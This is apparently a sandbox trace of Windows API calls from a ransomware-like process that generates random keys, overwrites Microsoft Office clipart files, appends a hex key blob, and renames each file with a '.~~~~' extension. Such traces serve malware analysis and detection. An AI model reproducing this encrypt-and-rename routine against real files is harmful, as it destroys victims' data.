	[0106.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a8088 | out: hHeap=0x300000) returned 1
	[0106.942] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.943] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.943] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.943] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.943] CloseHandle (hObject=0x128) returned 1
	[0106.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.943] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf.~~~~")) returned 1
	[0106.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0106.944] GetLastError () returned 0x0
	[0107.074] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0107.097] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.097] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.097] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.097] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.097] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22708756240) returned 1
	[0107.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9822230, dwHighDateTime=0x1d60e1e)) 
	[0107.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6160
	[0107.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6160 | out: hHeap=0x300000) returned 1
	[0107.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875578
	[0107.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.098] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0107.098] GetLastError () returned 0x0
	[0107.099] GetLastError () returned 0x0
	[0107.099] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0107.099] GetLastError () returned 0x0
	[0107.099] GetLastError () returned 0x0
	[0107.103] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffb6c2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.103] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x493e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x493e, lpOverlapped=0x0) returned 1
	[0107.105] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0107.105] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.105] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.105] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.105] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.105] CloseHandle (hObject=0x128) returned 1
	[0107.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.106] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.~~~~")) returned 1
	[0107.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.107] GetLastError () returned 0x0
	[0107.108] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0107.109] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.109] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.110] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22709980111) returned 1
	[0107.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9848390, dwHighDateTime=0x1d60e1e)) 
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286e0f0
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286e0f0 | out: hHeap=0x300000) returned 1
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.110] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874dc0
	[0107.110] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.110] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0107.111] GetLastError () returned 0x0
	[0107.111] GetLastError () returned 0x0
	[0107.111] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0107.111] GetLastError () returned 0x0
	[0107.111] GetLastError () returned 0x0
	[0107.114] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffabb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.114] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x544c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x544c, lpOverlapped=0x0) returned 1
	[0107.115] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0107.115] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.115] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.116] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.116] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.116] CloseHandle (hObject=0x128) returned 1
	[0107.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.116] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.~~~~")) returned 1
	[0107.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.117] GetLastError () returned 0x0
	[0107.118] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0107.119] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.119] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.119] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0107.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0107.120] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22710968287) returned 1
	[0107.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa986e4f0, dwHighDateTime=0x1d60e1e)) 
	[0107.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0107.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0107.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0107.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286e128
	[0107.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286e128 | out: hHeap=0x300000) returned 1
	[0107.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28756a8
	[0107.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.120] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0107.121] GetLastError () returned 0x0
	[0107.121] GetLastError () returned 0x0
	[0107.121] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0107.121] GetLastError () returned 0x0
	[0107.121] GetLastError () returned 0x0
	[0107.124] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff6575, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.124] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x9a8b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x9a8b, lpOverlapped=0x0) returned 1
	[0107.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0107.125] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.125] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.126] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.126] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.126] CloseHandle (hObject=0x128) returned 1
	[0107.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.~~~~")) returned 1
	[0107.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0107.132] GetLastError () returned 0x0
	[0107.133] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0107.166] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.166] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0107.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0107.167] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22715672480) returned 1
	[0107.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa98e0910, dwHighDateTime=0x1d60e1e)) 
	[0107.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0107.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0107.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0107.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2db0
	[0107.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2db0 | out: hHeap=0x300000) returned 1
	[0107.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875610
	[0107.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.167] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0107.168] GetLastError () returned 0x0
	[0107.168] GetLastError () returned 0x0
	[0107.168] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0107.168] GetLastError () returned 0x0
	[0107.168] GetLastError () returned 0x0
	[0107.247] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff7e10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.247] WriteFile (in: hFile=0x128, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x81f0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x25dfec0*=0x81f0, lpOverlapped=0x0) returned 1
	[0107.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0107.248] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.248] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.248] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.249] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.249] CloseHandle (hObject=0x128) returned 1
	[0107.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0107.249] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.~~~~")) returned 1
	[0107.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0107.250] GetLastError () returned 0x0
	[0107.329] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0107.330] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0107.330] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0107.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0107.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0107.331] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22732086009) returned 1
	[0107.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa9a37570, dwHighDateTime=0x1d60e1e)) 
	[0107.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0107.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0107.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0107.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28074c0
	[0107.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28074c0 | out: hHeap=0x300000) returned 1
	[0107.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0107.331] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875d30
	[0107.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0107.332] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0107.332] GetLastError () returned 0x0
	[0107.332] GetLastError () returned 0x0
	[0107.332] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0107.332] GetLastError () returned 0x0
	[0107.332] GetLastError () returned 0x0
	[0107.338] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff6ee6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
